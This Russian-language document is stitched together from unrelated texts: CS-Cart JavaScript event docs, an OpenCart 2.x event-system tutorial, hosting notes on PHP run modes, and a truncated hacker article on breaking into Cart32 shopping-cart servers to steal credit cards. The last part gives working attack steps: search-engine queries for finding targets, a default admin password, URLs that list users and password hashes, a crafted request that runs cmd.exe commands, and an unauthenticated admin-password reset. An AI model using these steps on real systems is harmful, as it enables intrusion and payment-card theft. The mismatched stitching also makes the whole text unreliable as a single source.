События в новой версии служат заменой хукам и колбекам.
Событие объявляется так:
Обработчик объявляется так:
$ . ceEvent ("on" , "ce.event_name" , function (a , b , c ) { //... });
Если заменить on на one , то обработчик выполнится только 1 раз и после этого удалится.
Обработчиков может быть несколько, выполняются они в порядке, в котором были объявлены. Обработчик может вернуть false - в этом случае последующие обработчики не будут выполнены.
Событиями будут являться любые действия пользователя – это и ввод данных с клавиатуры, и передвижения мышки, и конечно же клики – всё это и есть события. К событиям можно еще отнести события создаваемые скриптами и триггерами.
Например если вам необходимо показать alert после ajax запроса то легче всего это будет сделать подписавшись на событие.
$ . ceEvent ("on" , "ce.ajaxdone" , function (event ) { alert ("Ajax done" ); });
$ . ceEvent ("one" , "ce.ajaxdone" , function (event ) { alert ("Ajax done" ); });
"ce.switch_" , [ flag ]
Запускается при скрытии/раскрытии элемента с помощью микроформата cm-combination
"ce.picker_js_action_" , [ elm ]
Запускается при выборе элемента в ajax_select_object.tpl
"ce.formpre_" , [ form , clicked_elm ]
Запускается при отправке формы, перед проверкой элементов.
"ce.formpost_" , [ form , clicked_elm ]
Запускается при отправке формы, после проверки элементов.
"ce.formajaxpost_" , [ response_data , params , response_text ]
Запускается после отправке формы аяксом.
"ce.ajaxdone" , [ elms , inline_scripts , params , data , response . text ]
Запускается после выполнения ajax-запроса, после загрузки всех внешних скриптов
"ce.full_page_load" , [ response_data ]
Запускается после выполнения ajax-запроса, когда была отрендерена страница полностью (например, переход по ссылке в режиме виджета)
Событие объявляется так:
$ . ceEvent ("trigger" , "ce.event_name" , [ a , b , c ]);
Раньше колбеки для некоторых действий (ajax-запрос, вызванный DOM-элементом, отображение/скрытие элемента через cm-combination) задавались достаточно “магично”. В элемент добавлялся параметр name, например name=”some_action”. При выполнении действия, например ajax-запроса, искалась функция fn_some_action и передавалась в качестве колбека при вызове запроса.
Теперь, событие объявляется через аттрибут data-ca-event элемента, например “ce.ajax_callback”. После выполнения запроса запускается соответствующее событие.
Замечание: в $.ceAjax осталась возможность передавать в параметре callback функцию. Если в этом параметре передана строка, она интерпретируется как название события.
Рассмотрим Event-систему данной CMS, которую мы слегка затронули при изучении , который позволяет устанавливать модификации и расширения.
В данной статье мы разберемся как работает система событий в Opencart 2.x , и как ее использовать при написании своих модулей.
Данная система позволяет писать код, который будет выполняться при определенных событиях, происходящих в OpenCart. Такими событиями могут быть:
или другие ключевые события, которые имеют строку с вызовом триггера, и все это без необходимости использования vQmod или OCMOD, или изменения файлов системы! С помощью системы событий, вы можете избежать ошибок, которые происходят, когда вы используете систему модификаций вроде vQmod или OCMOD.
Для использования системы событий достаточно выполнить два действия:
Обработчики событий — просто методы, определенные в файлах контроллера. Вы можете использовать один файл для всех ваших методов или вы можете создать отдельный контроллер для ваших обработчиков событий.
Для регистрации обработчики событий необходимо использовать модель extension/event (для OpenCart 2.0.1+) или модель tool/event (для OpenCart 2.0.0.0).
В модели extension/event есть 2 метода:
Не сложно догадаться, что функция addEvent() используется для регистрации обработчиков событий, а deleteEvent() используется для отмены регистрации. Это позволяет зарегистрировать свои обработчики событий в методе install() контроллера вашего модуля в admin разделе, а также удалить их, когда ваш модуль удаляется, для чего используется метод uninstall() этого же файла контроллера.
Аргумент $code — используется для группы обработчиков событий. Здесь вы указываете название вашего модуля.
Аргумент $action путь к вашей функции обработчика. Указывается в виде стандартного адреса к контроллеру. Например: module/mymodule/on_install .
В данном примере предполагается, что мы работаем с OpenCart 2.0.1+. Теперь давайте предположим, что мы создаем модуль под названием «My Module». Файл-контроллер администратора для модуля будет admin/controller/module/mymodule.php. Файл-контроллер каталога для модуля будет catalog/controller/module/mymodule.php.
Модуль будет реализовывать 2 простые функции:
Триггеры, которые мы будем использовать в pre.admin.store.delete и post.customer.add .
Для начала, мы зарегистрируем наши обработчики событий в методе install() нашего модуля:
Public function install() { $this->load->model("extension/event"); $this->model_extension_event->addEvent("mymodule", "pre.admin.store.delete", "module/mymodule/on_store_delete"); $this->model_extension_event->addEvent("mymodule", "post.customer.add", "module/mymodule/on_customer_add"); }
Мы также должны позаботиться о процессе удаления, и удалить обработчики событий в случае удаления модуля:
Public function uninstall() { $this->load->model("extension/event"); $this->model_extension_event->deleteEvent("mymodule"); }
Далее, мы должны реализовать обработчики событий. События, название которых начинается с pre , вызываются перед выполнением действия, а события, название которых начинаются с post — после завершения действия.
Если нам необходимо включить домен магазина в наше сообщение, выбираем событие «pre» вместо «post», т.к. при использовании post.admin.store.delete мы не сможем получить домен магазина.
Событие pre.admin.store.delete генерируется в админке, так что его обработчик должен быть реализован в файле контроллера администратора для нашего модуля. Мы хотим, чтобы наш обработчик событий уведомлял администратора об удалении магазина, и наш обработчик будет выглядеть примерно так:
Public function on_store_delete($store_id) { $this->load->model("setting/store"); $store_info = $this->model_setting_store->getStore($store_id); $admin_mail = $this->config->get("config_email"); mail($admin_mail, "A store has been deleted", "The store " . $store_info["url"] . " was deleted."); }
Все, что осталось сделать, это реализовать обработчик для события post.customer.add . Мы будем делать это в каталоге контроллера нашего модуля. Метод будет уведомлять администратора, когда регистрируется новый клиент и будет выглядеть примерно так:
Public function on_customer_add($customer_id) { $this->load->model("account/customer"); $customer_info = $this->model_account_customer->getCustomer($customer_id); $admin_mail = $this->config->get("config_email"); mail($admin_mail, "New Customer", "A new customer has just registered with the following e-mail: " . $customer_info["email"]); }
Внимание: в примере используется функция mail() для отправки электронной почты для простоты. В реальной ситуации для этого необходимо использовать класс OpenCart.
Окончательные версии наших файлов выглядит следующим образом:
admin/controller/module/mymodule.php
load->model("extension/event"); $this->model_extension_event->addEvent("mymodule", "pre.admin.store.delete", "module/mymodule/on_store_delete"); $this->model_extension_event->addEvent("mymodule", "post.customer.add", "module/mymodule/on_customer_add"); } public function uninstall() { $this->load->model("extension/event"); $this->model_extension_event->deleteEvent("mymodule"); } public function on_store_delete($store_id) { $this->load->model("setting/store"); $store_info = $this->model_setting_store->getStore($store_id); $admin_mail = $this->config->get("config_email"); mail($admin_mail, "A store has been deleted", "The store " . $store_info["url"] . " was deleted."); } }
catalog/controller/module/mymodule.php
load->model("account/customer"); $customer_info = $this->model_account_customer->getCustomer($customer_id); $admin_mail = $this->config->get("config_email"); mail($admin_mail, "New Customer", "A new customer has just registered with the following e-mail: " . $customer_info["email"]); } }
Помимо стандартного использования, система событий может быть использована для создания кросс-модульной интеграции. Используя объект Event ($this->event), вы можете вызвать любое событие в любой точке, а также чтобы вызвать свои собственные события.
Представьте себе, что вы разрабатываете модуль для комментариев. Вы создаете событие на действие по отправке комментария, например, что позволит другим разработчикам модулей создать методы-обработчики событий для ваших и выполнить код без необходимости vQmod или OCMOD. Это будет гарантировать, лучшую стабильность системы и лучший потребительский опыт. Вы также можете использовать систему для регистрации и запуска собственных событий во время выполнения.
Класс событий определяется в файле system/engine/event.php , так что вы можете взглянуть на нее для дальнейшего использования.
Освоение системы событий в OpenCart выгодно во многих отношениях! И я рекомендую использовать события вместо системы модификации vQmod или OCMOD везде, где это возможно. Это позволит сократить количество глюков и несовместимостей модулей и дополнений других разработчиков с вашими. Также это позволяет создавать и использовать межмодульные связи, так что вы можете сделать несколько модулей, работающих вместе красиво и элегантно.
На хостинге Hostland интерпретатор PHP может работать в нескольких основных режимах. В этом обзоре мы рассмотрим следующие режимы работы:
Данный режим является основным режимом работы php на хостинге Hostland. При этом режиме в настройках веб-сервера Apache подключается специально скомпилированный модуль mod_php. В этом случае каждый процесс веб-сервера будет включать в себя этот модуль. Выбор этого режима подходит для широкого спектра сайтов с большой и малой посещаемостью.
В этом режиме запускается интерпретатор php-cgi для всех скриптов, для которых установлен CGI в качестве обработчика. Если большая часть сайта состоит из статического содержимого, то CGI будет хорошим выбором, т.к. будет обеспечено экономичное использование оперативной памяти за счет того, что нужный интерпретатор будет вызываться в случае необходимости. Но, и в то же время, такой метод незначительно замедляет исполнение, т.к. при каждом запросе понадобится загрузка интерпретатора в память. Запуск PHP в режиме CGI позволяет указывать свой php.ini, что в свою очередь дает бóльшую гибкость в настройках php.
На хостинге Hostland установлены следующие интерпретаторы php, доступные для использования в режиме CGI:
/usr/local/php/php-5.2/bin/php-cgi /usr/local/php/php-5.3/bin/php-cgi /usr/local/php/php-5.4/bin/php-cgi /usr/local/php/php-5.5/bin/php-cgi /usr/local/php/php-5.6/bin/php-cgi /usr/local/php/php-7.0/bin/php-cgi /usr/local/php/php-7.1/bin/php-cgi /usr/local/php/php-7.2/bin/php-cgi /usr/local/php/php-7.3/bin/php-cgi
Переключить php в режим CGI (и обратно в режим модуля mod_php) можно двумя способами:
Автоматически в панели управления:
В , в разделе «Домены» для каждого домена доступна настройка php.ini. Режим работы php будет автоматически переведен в режим CGI при добавлении хотя бы одной опции php.ini в «Стандартном», «Ограниченном» или «Параноидальном» режиме.
PHP в режиме CGI автоматически подключается только для основного домена. Подключать PHP в режиме CGI для поддоменов необходимо вручную. Для этого скопируйте папку sys-php-cgi из корневой папки основного домена (данная дирректория появится в автоматическом режиме, после подключения PHP в режим CGI) в корневую папку поддомена. Например, для включения PHP в режиме CGI на поддомене sub.domain.ru нужно скопировать папку ~/domain.ru/htdocs/www/sys-php-cgi в папку ~/domain.ru/htdocs/sub, если Вы это действие не выполните, то при обращении к поддомену sub.domain.ru будет получена ошибка 500
Вручную (для экспертов):
Создать файл /domain-name.ru/htdocs/www/cgi-bin/php.cgi:
#!/bin/bashЗакачать файл на сервер в ASCII-режиме в папку домена, на котором предполагается запускать PHP в режиме CGI. Например, для домена domain-name.ru это будет папка /domain-name.ru/htdocs/www/cgi-bin/. Если закачать файл не в ASCII-режиме, скрипт работать не будет, будет выдаваться ошибка 500 (Internal Server Error).
Установить на файл php.cgi права 0755 (rwxr-xr-x).
Создать файл.htaccess в директории домена /domain-name.ru/htdocs/www и поместить в него следующие директивы:
Action php-cgi /cgi-bin/php.cgiТеперь файлы с расширением.php, .php3, .php5 будут обрабатываться PHP интерпретатором в CGI-режиме.
Из практики работы нашей технической поддержки: при переносе сайтов с других хостингов мы иногда сталкиваемся с ситуацией, в которой приложение отказывается работать в режиме модуля php (с кодом завершения «segmentation fault»), но при этом стабильно работает в режиме php-cgi. С чем это связано сказать затруднительно, но это факт. Обычно это касается т.н. legacy кода , написанного на php5.2 или php4.4. Сайт при этом работает, но клиент, в силу обстоятельств, не может обновить код до современных версий php.
FastCGI Process Manager, «Менеджер процессов FastCGI». Это альтернативная реализация FastCGI режима в PHP с несколькими дополнительными возможностями, которые обычно используются для очень высоконагруженных сайтов .
Следует помнить, что при работе PHP в режиме FastCGI в памяти «висит» сам php интерпретатор, а не какой-то конкретный php-скрипт.
PHP-FPM используется, в основном, в связке с Nginx, без установки Apache.
Более подробное описание данного режима выходит за рамки обзора данной темы, но на нашем VDS-хостинге мы с радостью поможем вам его настроить.
)
- Shopping Cart System for Windows 95 & NT представляет из
себя “движок” для Он-лайн магазинов. А где
магазины, там, как известно, кредитные
карточки:).
Насколько мне известно,
последняя версия данного продукта – Cart31 v
3.6, является также уязвимой, как и ее
предшественники.
Для начала ты должен
научиться находить этот скрипт, по дефолту
он находится в директории CGI-BIN или SCRIPTS на
сервере. Если ты внимательно читал мои
прошлые статьи, то прекрасно знаешь как
искать незащищенные сервера через
поисковые системы. Итак, идем на АльтаВисту
(www.altavista.com) и
в окошке поиска вводим: “/scripts/cart32.exe/”, “/cgi-bin/cart32.exe/”
и начинаем разгребать ссылки:).
1) Если в системе разрешен запрос “ERROR”, то
пробуем: www.host.org/cgi-bin/cart32.exe/error. Скрипт может
вывести море информации по установленной
на серваке системе, листинг директории /cgi-bin/cart32
и директории, куда установлена программа (стандартно
- C:\Program Files\MWAInc\Cart32).
Пример:
INIFile = C:\Program Files\MWAInc\Cart32\cart32.ini
CGI Information
CGI_ServerSoftware = Microsoft-IIS/4.0
CGI_ServerName = www.host.org
CGI_RequestMethod = GET
CGI_Referer =
GI_RemoteHost = 313.373.3.333
CGI_RemoteAddr = 313.373.3.334
CGI_UserAgent = Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
CGI_ContentLength =0
CGI_ScriptName = /cgi-bin/cart32.exe
CGI_ServerURL =
CGI_GatewayInterface =CGI/1.1
CGI_ServerProtocol =HTTP/1.1
CGI_ServerPort = 80
CGI_ContentType =
CGI_QueryString =
CGI_PathInfo = /error
CGI_Cookie =
2) Если повезет, то админ
сервака проинсталлирует все в один каталог,
например в cgi-bin, и, прочитав лог об ошибке (см.
предыдущий пункт), мы увидим, что в директории
/cgi-bin/ находятся файлы blahblah-[число]. В этих
файлах находятся долгожданные кредитные
карточки (в одном файле по одной креде).
Примечание: В старых версиях
вся информация о кредах хранилась в файле
blahblah-orders.txt
3) Стандартным паролем является "wemilo". C
данным паролем, вы можете пойти на
нижеприведенную ссылку, которая покажет
вам список всех юзеров и их хешированные
пароли:
http://www.victim.com/cgi-bin/cart32.exe/cart32clientlist
Воспользовавшись этой
уязвимостью, вы можете просмотреть список
всех пользователей и их хешированные
пароли. Хотя они и хешированные, их все
равно можно применить, введя
нижеприведенный URL:
http://www.host.org/cgi-bin/c32web.exe? TabName=Cart32%2B&Action=
Save+Cart32%2B+Tab&SaveTab= Cart32%2B&Client=foobar&ClientPassword=
e%21U%23_%25%28%5D%5D%26%25*%2B-a&Admin=
&AdminPassword=&TabToSave=Cart32%2B&PlusTabToSave
=Run+External+Program&UseCMDLine=Yes&CMDLine= cmd.exe+%2Fc+dir+%3E+c%3A%5Czlob.txt
После успешного
выполнения этой операции, вся инфа будет
запишется в файл "zlob.txt" на диске C:\.
Более того, пойдя на
данный URL:
4) http://www.host.org/scripts/c32web.exe/
ChangeAdminPassword
можно сменить пароль
администратора, не зная старого:).
Это конечно же не все
уязвимости в этой проге, особо любопытные
перцы могут скачать (